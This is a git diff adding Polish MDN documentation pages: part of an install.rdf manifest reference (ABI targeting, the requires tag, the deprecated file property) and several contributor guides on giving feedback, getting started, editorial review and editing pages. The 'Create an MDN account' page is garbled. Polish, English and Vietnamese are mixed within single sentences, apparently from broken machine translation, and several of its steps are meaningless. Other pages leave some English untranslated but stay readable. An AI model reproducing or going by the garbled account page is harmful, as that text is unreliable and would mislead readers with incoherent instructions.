+<p>Usually, you would use only the OS part for themes or for extensions that are not fully cross-platform. For extensions including binary (compiled) components, you should never use the OS alone, but include the <a href="/pl/XPCOM_ABI" title="pl/XPCOM_ABI">ABI (s)</a> that you compiled the components with. If you want to include multiple versions of the components, you should also use <a href="/pl/Bundles#Platform-specific_Subdirectories" title="pl/Bundles#Platform-specific_Subdirectories">Platform-specific Subdirectories</a>.</p>
+
+<p><strong>Notatki</strong></p>
+
+<ul>
+ <li>In the same manifest file, you could even mix values with and without ABI. If a value for the application's OS is encountered that requires any specific ABI, the ABI is considered important for that OS and the application will refuse to install the addon if it does not find a matching OS/ABI combination. This means that if all of the above examples would occur in one manifest, the addon will install on any Linux build of the application, regardless of its ABI, but not on a Windows Cygwin build.</li>
+</ul>
+
+<ul>
+ <li>There may be builds of Firefox and Thunderbird which do not "know" their ABI (most likely ports to rare platforms, or non-official builds). These builds will refuse to install any addon that requires a specific ABI for their platform.</li>
+</ul>
+
+<p>{{ Fx_minversion_inline(1.5) }} This property was added for Firefox/Thunderbird 1.5. Previous versions of these applications will ignore the restrictions and install the addon regardless of the platform.</p>
+
+<h3 id="requires" name="requires">requires</h3>
+
+<p>This tag has a similar syntax to the <code>&lt;em:targetApplication&gt;</code> tag. If the addon specified by the <code>&lt;em:id&gt;</code> tag is not installed or has an incompatible version, the extension manager will disable your extension and show the message "Requires additional items". You can add as many <code>&lt;em:requires&gt;</code> tags as you like. Your extension will be disabled if any of the specified requirements fail.</p>
+
+<p><strong>Przykład</strong></p>
+
+<pre>&lt;em:requires&gt;
+ &lt;Description&gt;
+ &lt;!-- Lightning --&gt;
+ &lt;em:id&gt;{e2fda1a4-762b-4020-b5ad-a41df1933103}&lt;/em:id&gt;
+ &lt;em:minVersion&gt;0.5pre&lt;/em:minVersion&gt;
+ &lt;em:maxVersion&gt;0.5pre&lt;/em:maxVersion&gt;
+ &lt;/Description&gt;
+ &lt;/em:requires&gt;
+</pre>
+
+<p><strong>Notatki</strong></p>
+
+<ul>
+ <li>Currently, only <code>&lt;em:id&gt;</code>, <code>&lt;em:minVersion&gt;</code>, <code>&lt;em:maxVersion&gt;</code> are parsed inside the <code>&lt;em:requires&gt;</code> tag.</li>
+ <li>It is not currently possible to add dependencies that are specific to a <code>&lt;em:targetApplication&gt;</code>. See {{ interwiki('wikimo', 'Extension_Manager:Extension_Dependencies', 'wikimo:Extension Manager:Extension Dependencies') }} for more details.</li>
+</ul>
+
+<p>{{ Fx_minversion_inline(2) }} This property was added for Firefox/Thunderbird 2. Previous versions of these applications will ignore the restrictions and install the addon regardless of the requirements.</p>
+
+<h2 id="Dokumentacja_przestarza.C5.82ych_w.C5.82asno.C5.9Bci" name="Dokumentacja_przestarza.C5.82ych_w.C5.82asno.C5.9Bci">Dokumentacja przestarzałych własności</h2>
+
+<p>These properties were required in older versions of the Addon Manager, but have been replaced with newer and better mechanisms.</p>
+
+<h3 id="file" name="file">file</h3>
+
+<p><strong>Firefox 1.0</strong> Ta właściwość wskazywała na plik <code>.jar</code>, który zawierała pakiety chrome wymagające rejestracji w Rejestrze Chrome.</p>
+
+<p>Właściwość <code>&lt;em:file&gt;</code> ma złożona obiektową wartość. Adres lokalny wartości wygląda tak: <code>urn:mozilla:extension:file:PlikJar.jar</code> przy czym <code>PlikJar.jar</code> to nazwa pliku jar, który zawiera pliki pakietów chrome. Może to być także nazwa niespakowanego folderu zawierającego pliki pakietów chrome (np. <code>urn:mozilla:extension:file:folder</code>).<strong> In either case, the referenced chrome package file(s) must be placed in the <code>chrome</code> subdirectory of the XPI's top level.</strong></p>
+
+<p>Obiekt ma właściwość <code>package</code> (ze ścieżką wewnątrz pliku lub folderu z pakietami, która prowadzi do pliku <code>contents.rdf</code>, który jest odpowiedzialny za rejestrację pakietu), właściwość <code>locale</code> (jw. tylko, że rejestracji lokalizacji) i właściwość <code>skin</code> (jw. odpowiedzialną za rejestracje motywów).</p>
+
+<p>Obiekt jest zbędny w Firefoksie 1.5 ponieważ <code>chrome.manifest</code> na najwyższym poziomie XPI jest używany do lokalizacji chrome wymagających rejestracji.</p>
+
+<p><strong>Przykłady</strong></p>
+
+<pre class="eval">&lt;em:file&gt;
+ &lt;Description about="urn:mozilla:extension:file:wtyka.jar"&gt;
+ &lt;em:package&gt;content/wtyka/&lt;/em:package&gt;
+ &lt;em:locale&gt;locale/pl/wtyka/&lt;/em:locale&gt;
+ &lt;em:skin&gt;skin/classic/wtyka/&lt;em:skin&gt;
+ &lt;/Description&gt;
+&lt;/em:file&gt;
+</pre>
+
+<p>Manifest Instalcji może określać więcej niż jedną właściwość <code>file</code>, po jednej na każdy plik jar lub podfolder zawierający chrome do rejestracji.</p>
+
+<h2 id="Glossary" name="Glossary">Glossary</h2>
+
+<h3 id="restricted_access_area" name="restricted_access_area">restricted access area</h3>
+
+<p>A <em>restricted access area</em> is an install location that could be restricted on a restricted-access account, regardless of whether or not the location is restricted with the current user privileges (zobacz {{ Source("toolkit/mozapps/extensions/public/nsIExtensionManager.idl#80", "nsIInstallLocation::restricted") }}). Currently, the <code>($APPDIR)/extensions</code> folder and the registry install location under <code>HKEY_LOCAL_MACHINE</code> (see <a href="/pl/Adding_Extensions_using_the_Windows_Registry" title="pl/Adding_Extensions_using_the_Windows_Registry">Adding Extensions using the Windows Registry</a> for details) are restricted.</p>
+
+<p>The <code>($PROFILE)/extensions</code> and <code>HKEY_CURRENT_USER</code> install locations, on the other hand, are not restricted.</p>
+
+<h2 id="Wi.C4.99cej_informacji" name="Wi.C4.99cej_informacji">Więcej informacji</h2>
+
+<ul>
+ <li>Zobacz <a class="external" href="http://kb.mozillazine.org/Install.rdf">stronę install.rdf w MozillaZine KB</a> po więcej przykładów i informacji na ten temat</li>
+</ul>
diff --git a/files/pl/mdn/contribute/feedback/index.html b/files/pl/mdn/contribute/feedback/index.html
new file mode 100644
index 0000000000..f71906f27b
--- /dev/null
+++ b/files/pl/mdn/contribute/feedback/index.html
@@ -0,0 +1,48 @@
+---
+title: Prześlij opinię na temat MDN
+slug: MDN/Contribute/Feedback
+translation_of: MDN/Contribute/Feedback
+---
+<div>{{MDNSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/MDN")}}</div>
+
+<p>Witaj w Mozilla Developer Network! Jeśli masz sugestie lub masz problemy z korzystaniem z MDN, to jest to odpowiednie miejsce. Sam fakt, że chcesz podzielić się z nami opinią, sprawia, że ​​stajesz się jeszcze bardziej częścią społeczności Mozilli i z góry dziękujemy za zainteresowanie.</p>
+
+<p><span class="seoSummary">Masz kilka możliwości zaoferowania swojego wglądu; ten artykuł pomoże ci to zrobić.</span></p>
+
+<h2 id="Zaktualizuj_dokumentację">Zaktualizuj dokumentację</h2>
+
+<p>Po pierwsze, jeśli zauważyłeś problem z dokumentacją, zawsze możesz to poprawić samodzielnie. Po prostu <a href="/en-US/docs/MDN/Contribute/Howto/Create_an_MDN_account">zaloguj się</a> używając <a href="https://github.com/">Github</a>, a następnie kliknij w dowolny niebieski przycisk <strong>Edytuj</strong>, aby otworzyć <a href="/en-US/docs/MDN/Contribute/Editor">edytor</a> i przejść do świata wnoszenia wkładu do dokumentacji MDN. Ta dokumentacja znajduje się na wiki i jest prowadzona przez zespół wolontariuszy i płatnych pracowników, więc nie wstydź się - twoja gramatyka nie musi być doskonała. Poprawimy to, jeśli popełnisz błąd; nic się nie stało!</p>
+
+<p>Aby uzyskać więcej informacji na temat wkładu w dokumentację MDN, zobacz:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Project:Getting_started" title="/en-US/docs/Project:Getting_started">Pierwsze kroki</a></li>
+ <li><a href="/en-US/docs/MDN/Contribute">Wkład w MDN</a></li>
+ <li><a href="/en-US/docs/MDN/Contribute/Editor" title="/en-US/docs/Project:MDN_editing_interface">Interfejs edycji MDN</a></li>
+</ul>
+
+<h2 id="Dołącz_Do_Rozmowy">Dołącz Do Rozmowy</h2>
+
+<p>Porozmawiaj Z Nami! Istnieje bardzo dużo sposobów na porozumiewanie sie z innymi ludźmi pracującymi na zawartości MDN.</p>
+
+<h3 id="Chat">Chat</h3>
+
+<p>
+ </p><h3 id="Email">Email</h3>
+
+
+<p>Dłuższe dyskusje odbywają się na naszej liście mailingowej, <a href="https://lists.mozilla.org/listinfo/dev-mdc" title="https://lists.mozilla.org/listinfo/dev-mdc">dev-mdc@lists.mozilla.org</a>. Możesz dodawać do listy bez konieczności zapisywania się do niego, ale w tym przypadku Twój post musi być zatwierdzony przez moderatora, co oznacza, że więcej czasu minie, zanim inni będą mogli go zobaczyć. Możesz przeglądać i wysyłać do dev-mdc poprzez wybór formatów:</p>
+
+<p>{{ DiscussionList("dev-mdc", "mozilla.dev.mdc") }}</p>
+
+<h2 id="Zgłoś_problem">Zgłoś problem</h2>
+
+<h3 id="Problemy_z_dokumentacją">Problemy z dokumentacją</h3>
+
+<p>W razie napotkania jakiegoś błędu w dokumentacji, którego nie jesteś w stanie naprawić z jakiegoś powodu, możesz <a href="https://github.com/mdn/sprints/issues/new?template=issue-template.md&amp;projects=mdn/sprints/2&amp;labels=user-report">zgłosić nam problem</a>! Możesz użyć tego formularza do dowolnego problemu z dokumentacją, bez względu na to, czy jest to prosta korekta, czy prośba o zupełnie nową treść. Jak wspomniano wcześniej, zachęcamy do samodzielnego wprowadzenia zmian, ale ta opcja jest również dostępna dla Ciebie.</p>
+
+<h3 id="Problem_ze_stroną">Problem ze stroną</h3>
+
+<p>Jeśli napotkasz problemy z witryną MDN lub masz pomysły na nowe funkcje witryny, możesz <a href="https://bugzilla.mozilla.org/form.mdn">przesłać zgłoszenie do zespołu programistów MDN</a>.</p>
diff --git a/files/pl/mdn/contribute/getting_started/index.html b/files/pl/mdn/contribute/getting_started/index.html
new file mode 100644
index 0000000000..65f8b7e1aa
--- /dev/null
+++ b/files/pl/mdn/contribute/getting_started/index.html
@@ -0,0 +1,130 @@
+---
+title: Zacznij z MDN
+slug: MDN/Contribute/Getting_started
+tags:
+ - MDN
+ - Places
+ - nowy
+ - pierwsze kroki
+ - pomóż
+ - tłumacz
+ - zacznij
+translation_of: MDN/Contribute/Getting_started
+---
+<div>{{MDNSidebar}}</div><p id="What_is_MDN.3F"><span class="seoSummary">Jesteśmy otwartą społecznością deweloperów, pracujących nad stworzeniem lepszej sieci, niezależnej od platformy, przeglądarki czy konkretnej marki. </span>Każdy może pomóc nam osiągnąć ten cel. Razem możemy dalej zmieniać oblicze sieci i dostarczać nasze innowacyjne rozwiązania wszystkim. Ta przygoda rozpoczyna się tutaj, z tobą.</p>
+
+<p><span>Każda część MDN (dokumenty, dema, oraz same strony) tworzone są przez naszą społeczność deweloperów. Dołącz do nas!</span></p>
+
+<h2 id="3_proste_kroki_do_MDN"><span>3 proste kroki do MDN</span></h2>
+
+<p>MDN to wiki, gdzie <strong>każdy</strong> może dodać i edytować treść. Nie musisz być programistą czy ekspertem od nowych technologii. Mamy parę zadań, którymi trzebaby się zająć; od prostych czynności (sprawdzanie i korektowanie błędów w tekście) po bardziej złożone (jak pisanie dokumentacji do API).</p>
+
+<p>Współpraca z nami jest łatwa i bezpieczna. Nawet jeśli zrobisz błąd, łatwo go będzie naprawić. Jeśli nie za bardzo wiesz jak rzeczy powinny wyglądać bądź nie czujesz się mistrzem gramatyki, nie przejmuj się! Zawsze znajdzie się wśród nas ktoś, kto poprawi błędy po tobie.</p>
+
+<h3 id="Krok_1_Stwórz_konto_na_MDN">Krok 1: Stwórz konto na MDN</h3>
+
+<p>Aby zacząć współtworzyć MDN musisz założyć konto na portalu. Więcej informacji znajdziesz na stronie <a href="/pl/docs/MDN/Contribute/Howto/Create_an_MDN_account">jak założyć konto</a>.</p>
+
+<h3 id="Krok_2_Znajdź_zadanie_do_dokończenia">Krok 2: Znajdź zadanie do dokończenia</h3>
+
+<p>Teraz, kiedy jesteś już zalogowany, przeczytaj opis zadań poniżej i zdecyduj czym mógłbyś się zająć.</p>
+
+<h3 id="Krok_3_Zrób_zadanie">Krok 3: Zrób zadanie</h3>
+
+<p>Kiedy już zdecydujesz czym mógłbyś się zająć, znajdź stronę czy kod i po prostu zacznij!</p>
+
+<p>To co zrobisz nie musi być perfekcyjne, inni, przeglądając twoją pracę, na pewno poprawią błędy, które zauważą. Jeśli chcesz poeksperymentować zanim coś zrobisz, możesz wyedytować stronę <a href="/pl/docs/Sandbox">Sandbox</a>. Jakieś pytania w trakcie pracy? Na stronie <a href="/pl/docs/MDN/Community">Społeczność</a> znajdziesz informacje, listy mailingowe i kanały do czatowania, gdzie znajdziesz potrzebną pomoc.</p>
+
+<p>Kiedy skończysz, zacznij kolejne zadanie lub zajrzyj na stronę <a href="#Other_things_you_can_do_on_MDN">inne rzeczy, które mógłbyś zrobić na MDN</a>.</p>
+
+<h2 id="Rodzaje_zadań">Rodzaje zadań</h2>
+
+<p>Jest wiele zadań, w których mógłbyś pomóc na MDN. Wszystko zależy od twoich zainteresowań i umiejętności. Nawet jeśli niektóre zadania okażą się zbyt trudne, jest wiele prostszych, w których mógłbyś nam pomóc. Wiele z nich zajmie ci nie więcej niż 5 minut. Razem z zadaniem i jego krótkim opisem, znajdziesz przewidywalny czas jego wykonania.</p>
+
+<h3 id="Opcja_1_Lubię_słowa">Opcja 1: Lubię słowa</h3>
+
+<p>Możesz pomóc nam sprawdzać i poprawiać istniejące dokumenty.</p>
+
+<ul>
+ <li><a href="/pl/docs/MDN/Contribute/Howto/Set_the_summary_for_a_page">Uzupełnić streszczenie strony</a> (5-15 minut)</li>
+ <li><a href="/en-US/docs/Project:MDN/Contributing/How_to/Do_an_editorial_review">Poprawiać błędy</a> (5–30 minut)</li>
+ <li><a href="/pl/docs/MDN/User_guide/Writing#Editing_an_existing_page">Zaktualizować istniejące artykuły</a> (5 minut -1 godzina)</li>
+ <li><a href="/pl/docs/MDN/User_guide/Writing#Adding_a_new_page">Napisać artykuł o nowych technologiach bądź API</a> (30 minut - 2 godziny)</li>
+</ul>
+
+<div class="note"><strong>Ważne:</strong> Jeśli poprawiasz artykuł lub tworzysz nowy, zapoznaj się najpierw z naszymi <a href="/en-US/docs/Project:MDN/Style_guide">Zasadami</a>. To pomoże nam zachować spójność treści.</div>
+
+<h3 id="Opcja_2_Lubię_kod">Opcja 2: Lubię kod</h3>
+
+<p>Potrzebujemy więcej próbek kodu! Możesz pomóc nam przy naszej platformie <a href="https://developer.mozilla.org/pl/docs/Project:MDN/Kuma">Kuma</a>!</p>
+
+<ul>
+ <li><a href="/pl/docs/Project:MDN/Contributing/How_to/Convert_code_samples_to_be_live_">Przekształć kod na przykłady</a> (30 minut)</li>
+ <li><a href="https://kuma.readthedocs.org/pl/latest/installation-vagrant.html">Zbuduj środowisko Kuma</a> (1 godzina)</li>
+ <li><a href="https://github.com/mozilla/kuma#readme">Prześlij poprawki kodu do bazy kodu Kuma</a> (1 godzina)</li>
+ <li><a href="https://developer.mozilla.org/pl/demos/submit">Przyślij nowe demo </a>(1 godzina)</li>
+</ul>
+
+<h3 id="Opcja_3_Lubię_i_słowa_i_kod">Opcja 3: Lubię i słowa i kod</h3>
+
+<p>Niektóre zadania wymagają umiejętności zarówno technicznych jak i językowych. Możesz pisać nowe artykuły, sprawdzać treść artykułów pod względem technicznym bądź dostosowywać dokumenty.</p>
+
+<ul>
+ <li><a href="/pl/docs/Project:MDN/Contributing/How_to/Tag_JavaScript_pages">Tagowanie stron JavaScript</a> (5 minut)</li>
+ <li><a href="/pl/docs/MDN/Promote">Promowanie MDN na własnej stronie</a> (5 minut)</li>
+ <li><a href="/pl/docs/Project:MDN/Contributing/How_to/Do_a_technical_review">Sprawdzanie treści artykułów pod względem technicznym</a> (30 minut)</li>
+ <li><a href="/pl/docs/Project:MDN/Contributing/How_to/Update_API_page_layout">Uzupełnianie API i layoutu strony</a> (30 minut)</li>
+ <li><a href="/pl/docs/MDN/Contribute/Creating_and_editing_pages#Creating_a_new_page">Pisanie nowych artykułów na temat jednego z interesujących cię tematów</a> (1 godzina, bądź więcej)</li>
+</ul>
+
+<h3 id="Opcja_4_Chcę_mieć_MDN_w_moim_języku">Opcja 4: Chcę mieć MDN w moim języku</h3>
+
+<p>Wszystkie tłumaczenia i lokalizacje są robione przez nas, społeczność MDN.</p>
+
+<ul>
+ <li><a href="/pl/docs/MDN/Contribute/Localize/Translating_pages">Przetłumacz stronę</a> (2 godziny)</li>
+ <li>Powiąż przetłumaczone strony ze sobą. Listę takich stron znajdziesz na stronie <a href="/pl/docs/Project:MDN/Localizing/Localization_projects">Localization projects</a> (30 minut)</li>
+</ul>
+
+<h3 id="Opcja_5_Znalazłem_błąd_ale_nie_wiem_jak_go_naprawić">Opcja 5: Znalazłem błąd, ale nie wiem jak go naprawić</h3>
+
+<p>Zgłoś go nam <a class="external" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Mozilla%20Developer%20Network">uzupełniając formularz błędu</a>. (5 minut)</p>
+
+<p>Use these field values:</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td><strong>pole Bugzilla</strong></td>
+ <td><strong>Wartość</strong></td>
+ </tr>
+ <tr>
+ <td><code>produkt</code></td>
+ <td><a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Developer+Documentation">Dokumentacja Dewelopera</a></td>
+ </tr>
+ <tr>
+ <td><code>komponent</code></td>
+ <td>
+ <p>Wybierz pole odpowiednie do tematu, lub "Ogólne", jeśli nie jesteś pewien które wybrać</p>
+ </td>
+ </tr>
+ <tr>
+ <td><code>URL (link)</code></td>
+ <td>Wklej link do strony z błędem</td>
+ </tr>
+ <tr>
+ <td><code>Opis</code></td>
+ <td>
+ <p>Podaj nam jak najwięcej informacji. Opisz błąd, bądź problem, na jaki się natknąłeś. Możesz podać też dodatkowe informacje, takie jak linki czy kontakty do osób ("skontaktuj się z ...").</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Inne_rzeczy_które_możesz_robić_na_MDN">Inne rzeczy, które możesz robić na MDN</h2>
+
+<ul>
+ <li><a href="/pl/docs/Project:Community">Przyłącz się do Społeczności MDN</a>.</li>
+ <li><a href="/en-US/profile">Uzupełnij swój profil</a> aby inni mogli lepiej cię poznać.</li>
+ <li>Dowiedź się wiecej <a href="/en-US/docs/MDN/Contribute">jak pomóc w MDN</a>.</li>
+</ul>
diff --git a/files/pl/mdn/contribute/howto/budowa_dany_edycja_artykuł/index.html b/files/pl/mdn/contribute/howto/budowa_dany_edycja_artykuł/index.html
new file mode 100644
index 0000000000..5c7876a4b7
--- /dev/null
+++ b/files/pl/mdn/contribute/howto/budowa_dany_edycja_artykuł/index.html
@@ -0,0 +1,66 @@
+---
+title: 'Jak budować, edytować dany artykuł'
+slug: MDN/Contribute/Howto/Budowa_dany_edycja_artykuł
+tags:
+ - Dokumentacja
+ - Edycja artykułu
+ - Przewodnik
+ - Publikaja artykułu
+ - Wprowadzanie zmian
+ - Wprowadzanie zmian w hasłach
+translation_of: MDN/Contribute/Howto/Do_an_editorial_review
+---
+<p>{{MDNSidebar}}</p>
+
+<p>{{IncludeSubnav("/en-US/docs/MDN")}}</p>
+
+<p><strong>Edycja budowanego </strong><strong>artykułu sklada sie z:</strong></p>
+
+<p>naprawy składni , poprawy błędów ortograficznych,<br>
+ interpunkcyjnych zawartych w tekście, który powinien być łatwy do zrozumienia. Osoba redagująca tekst nie musi być pisarzem aby pomoc w tworzeniu dokumentacji technicznej MDN's, która zawsze jest otwarta na potrzeby udoskonalania dla przyszłych czytelników danego artykułu.</p>
+
+<p>Ten przewodnik opisuje jak dokonać przeglądu edytorskiego, co ma zapewnić, że zawartość witryny MDN jest odpowiednio napisana i zredagowana.</p>
+
+<dl>
+ <dt>Na czym polega to zadanie?</dt>
+ <dd>Edycja i korekta artykułów oznaczonych jako wymagające przeglądu redakcyjnego.</dd>
+ <dt>Gdzie należy to zrobić?</dt>
+ <dd>W obrębie konkretnych artykułów oznaczonych jako wymagające przeglądu redakcyjnego.</dd>
+ <dt>Co potrzebujesz aby dobrze wykonać to zadanie?</dt>
+ <dd>Musisz znać gramatykę i styl języka. Przegląd redakcyjny polega na zapewnieniu poprawnej gramatyki i stylistyki, braku literówek, użyciu właściwych terminów technicznych, zgodnie ze standardem podanym w <a href="/pl/docs/MDN/Contribute/Guidelines/Writing_style_guide">Przewodniku tworzenia zasobów MDN</a>.</dd>
+ <dt>W jakich krokach to osiągnąć?</dt>
+ <dd>
+ <ol>
+ <li>Wybierz artykuł wymagający przejrzenia:
+ <ol>
+ <li>Idź do listy <a href="/en-US/docs/needs-review/editorial">artykułów wymagających oceny redakcji</a>. Gdzie zobaczysz listę stron, które wymagają poprawek edytora.</li>
+ <li>Kliknij w tytuł artykułu, by załadować stronę.<br>
+ <strong>Uwaga: </strong>Lista artykułów przeznaczonych do edycji jest generowana automatycznie i odświeżana jest rzadko, dlatego część artykułów, nie będzie wymagała żadnych zmian, ponieważ była już przetłumaczona i sprawdzona. Jeśli artykuł nie wyświetla informacji "Ten artykuł wymaga przeglądu redakcyjnego", możesz pominąć jego edycję i wybrać inny artykuł.</li>
+ </ol>
+ </li>
+ <li><a id="core-steps" name="core-steps"></a>Każdy artykuł czytaj uważnie, zwracając uwagę na literówki, ortografię, gramatykę lub błędy użytkowania. Jeśli strona, którą wybrałeś - nie pasuje ci - nie wahaj przełączać się między stronami podczas edycji,</li>
+ <li>Jeśli strona artykułu nie posiada błędów, nie ma potrzeby, by edytować artykuł, żeby oznaczyć go jako sprawdzony. Spójrz na okienko wyboru "Wymaga sprawdzenia" w lewym pasku nawigacyjnym poniżej artykułu:</li>
+ <li><br>
+ <img alt="Screenshot of the editorial review request sidebar box" src="https://mdn.mozillademos.org/files/13018/SidebarReviewBoxEditorial.png"></li>
+ <li>Odznacz opcję <strong>Editorial</strong> i zapisz, klikając <strong>Save</strong>.</li>
+ <li>Jeśli znajdziesz błędy wymagające korekty:
+ <ol>
+ <li>Kliknij guzik <strong>Edit</strong> znajdujący się na górze strony; zostaniesz przeniesiony na stronę <a href="/en-US/docs/Project:MDN/Contributing/Editor_guide">MDN edytor</a>.</li>
+ <li>Popraw wszystkie literówki, będy ortograficzne i gramatyczne i inne błędy, które uda ci się znaleźć. Jeśli do końca nie jesteś pewny, czy edycja artykułu została przez ciebie skończona,  upewnij się, że zostawiasz prośbę o dalszy przegląd redakcyjny włączoną.</li>
+ <li>Wprowadź<strong> Komentarz dotyczący sprawdzenia </strong> na dole artykułu; np. Nick edytora:<em> 'poprawione błędy ortograficzne, gramatyczne i składniowe</em>'. Pomoże to innym użytkownikom i autorom edytowanej strony dowiedzieć się, które hasło wymagało zmian i dlaczego takie zmiany były wprowadzane.</li>
+ <li>Odznacz w polu <br>
+ <strong>Wymaga sprawdzenia &gt;</strong> <strong>Redakcjynego</strong>. Znajdującego się powyżej sekcji Komentarz dotyczący sprawdzenia.</li>
+ <li>Kliknij guzik <strong>Publikuj</strong>.</li>
+ </ol>
+ </li>
+ </ol>
+
+
+ </dd>
+</dl>
+
+<dl>
+ <dd>
+ <div class="note">Zapisane zmiany wprowadzone do artykułu, mogą pojawić się z opóźnieniem.</div>
+ </dd>
+</dl>
diff --git a/files/pl/mdn/contribute/howto/create_an_mdn_account/index.html b/files/pl/mdn/contribute/howto/create_an_mdn_account/index.html
new file mode 100644
index 0000000000..ed988c32bc
--- /dev/null
+++ b/files/pl/mdn/contribute/howto/create_an_mdn_account/index.html
@@ -0,0 +1,41 @@
+---
+title: Jak utworzyć konto MDN
+slug: MDN/Contribute/Howto/Create_an_MDN_account
+tags:
+ - Beginner
+ - Guide
+ - MDN
+ - nowy
+ - pierwsze kroki
+ - podręcznik
+ - zacznij
+translation_of: MDN/Contribute/Howto/Create_an_MDN_account
+---
+<div>{{MDNSidebar}}</div><p><span class="seoSummary"><font><font>Wstęp współdworz MDN, sửa các thay đổi và các trang cần thiết là MDN. </font><font>Profil does not we expected, unwatched MDN i useful załeych tu information. </font><font>Ten krótkie poradnik Ci Successful Accounts MDN.</font></font></span></p>
+
+<div style="width: 280px;" class="standardSidebar"><strong><font><font>Tại sao MDN lại cần email? </font></font></strong><br>
+<br>
+<font><font>Email của bạn cho phép khôi phục các tài khoản, cũng như các vấn đề quản trị MDN, để kết hợp với Tobą trong phần mềm hoặc thông tin. </font></font><br>
+<br>
+<font><font>Opcjonalnie możesz Tez otrzymywać powiadomienia (na przykład w wypadku </font></font><a href="/en-US/docs/MDN/Contribute/Howto/Watch_a_page"><font><font>zmian na interesującej CIE Stronie</font></font></a><font><font> ) oraz wiadomości (przykładowo, jeśli zdecydujesz sie dołączyć làm naszego zespołu beta testerów, możesz otrzymywać Maile dotyczące nowych funkcji wymagających przetestowania). </font></font><br>
+<br>
+<font><font>Your email adres is offline na MDN i using us with </font></font><a href="https://www.mozilla.org/privacy/websites/"><font><font>the groups</font></font></a><font><font> .</font></font></div>
+
+<ol>
+ <li><font><font>Na górze tất cả các trang web MDN nút "Đăng Sắp za Uy tín". </font><font>Najedź na nút (hoặc bấm, nếu bạn sử dụng điện thoại di động). </font><font>Rozwiniesz w ten way list uwierzytelinally serwisów, using a MDN.</font></font></li>
+ <li><font><font>Choose availing Ci service, to be used to MDn. </font><font>Wybranie (Tùy chọn " </font></font><strong><font><font>Persona</font></font></strong><font><font> ") có thể được sử dụng trong hai trang chính.</font></font></li>
+ <li><font><font>Postęp các theo dõi của nó, để cho các tài khoản dự phòng với MDM profilem.</font></font></li>
+ <li><font><font>Po powrocie do MDN bị bỏ qua poproszony và podanie địa chỉ email cũng như chọn lựa đặt người dùng. </font></font><strong><font><font>Tên người có thể nhìn thấy rõ ràng. </font><font>Nigdy không sử dụng email địa chỉ email khi đặt mục tiêu!</font></font></strong></li>
+ <li><font><font>Then click button " </font></font><strong><font><font>Wykonaj</font></font></strong><font><font> ".</font></font></li>
+ <li><font><font>Podane podany w punkcie 4 không phải là lý do tại sao, việc sử dụng để đăng nhập vào trang chủ, bạn cần skrzynkę mailową. </font><font>W otrzymanych từ nas mailu nhấn vào nút " </font></font><strong><font><font>Potwierdź konto</font></font></strong><font><font> " trong việc hướng tới việc đăng nhập.</font></font></li>
+</ol>
+
+<p><font><font>Để tất cả! </font><font>Posiadasz các tài khoản và MD5 của bạn.</font></font></p>
+
+<p><font><font>Na górze tất cả các trang MDN có thể là người dùng của bạn. </font><font>Click it, to make your profile. </font><font>Teraz możesz wybrać opcję " </font></font><strong><font><font>Edytuj</font></font></strong><font><font> ", aby uzupełnić swój Profil, dzielić sie z innymi użytkownikami informacjami o Tobie, dodawać linki làm swojego Twittera lub bloga ITD.</font></font></p>
+
+<div class="note">
+<p><strong><font><font>Chú ý:</font></font></strong><font><font> Không thể phân biệt người dùng có ký hiệu "@". </font><font>Pamiętaj, as Bạn có thể chứng tỏ được rằng mình là một trong những người hiểu rõ nhất về dịch vụ của bạn.</font></font></p>
+</div>
+
+<p> </p>
diff --git a/files/pl/mdn/contribute/howto/create_and_edit_pages/index.html b/files/pl/mdn/contribute/howto/create_and_edit_pages/index.html
new file mode 100644
index 0000000000..4fb13dadc2
--- /dev/null
+++ b/files/pl/mdn/contribute/howto/create_and_edit_pages/index.html
@@ -0,0 +1,179 @@
+---
+title: How to create and edit pages
+slug: MDN/Contribute/Howto/Create_and_edit_pages
+translation_of: MDN/Contribute/Howto/Create_and_edit_pages
+---
+<div>{{MDNSidebar}}</div>
+
+<p><span class="seoSummary">Ten artykuł wdraża nowe osoby wspierające do procesu edycji istniejących stron oraz tworzenia nowych.</span></p>
+
+<h2 id="Edycja_istniejącej_strony">Edycja istniejącej strony</h2>
+
+<p>Aby edytować stronę:</p>
+
+<ol>
+ <li>Jeśli znajdujesz się na stronie MDN Web Docs w wersji tylko do odczytu (https://developer.mozilla.org), kliknij <strong>Edit in wiki</strong> w nagłówku artykułu. Przeniesiesz się do edytowalnej wersji wiki strony(https://wiki.developer.mozilla.org), ale nie otworzy to jeszcze interfejsu edycji.</li>
+ <li>Kliknij przycisk <strong>Edit</strong> w nagłówku artykułu wiki strony.</li>
+ <li>Strona się odświeży wraz z interfejsem edycji gdzie możesz bezpośrednio dodawać i usuwać zawartość strony.</li>
+ <li>Dodawaj paragrafy, usuwaj tekst, wstawiaj nagłówki i wykonuj więcej podstawowych operacji związanych z pisaniem i edytowaniem.</li>
+</ol>
+
+<p>Zobacz przewodnik <a href="/en-US/docs/MDN/Contribute/Editor/Basics">Editor UI elements</a> w <a href="/en-US/docs/MDN/Contribute/Editor">MDN Editor guide</a> by uzyskać więcej informacji dotyczących wbudowanego edytora <strong>MDN.</strong></p>
+
+<h3 id="Podgląd_zmian">Podgląd zmian</h3>
+
+<p>Aby zobaczyć zmiany:</p>
+
+<ul>
+ <li>Kliknij przycisk <strong>Podgląd</strong> wewnątrz funkcji edycji, na górze lub na dole strony.</li>
+ <li>Otworzy się podgląd strony pokazujący twoje poprawki, w nowym oknie lub karcie.</li>
+ <li>Za każdym razem, kiedy klikniesz ten przycisk, odświeżysz stronę podglądu wraz z ostanimi zmianami.</li>
+</ul>
+
+<p>Uważaj! Podglądanie strony <strong>nie zachowa</strong> twojego postępu prac. Nie zamykaj karty edycji dopóki nie zapiszesz zmian.</p>
+
+<h3 id="Komentarz_do_wersji">Komentarz do wersji</h3>
+
+<p>After previewing your changes, you will want to <em>save your revision</em>. Before you <strong>save</strong>, look for the revision comment box, below the editing box, leaving a comment to inform other contributors why you made changes. For example, you might have added a new section, changed some words to make the terminology more consistent, rewritten a paragraph to clarify the language, or removed information because it was redundant.</p>
+
+<h3 id="Table_of_Contents">Table of Contents</h3>
+
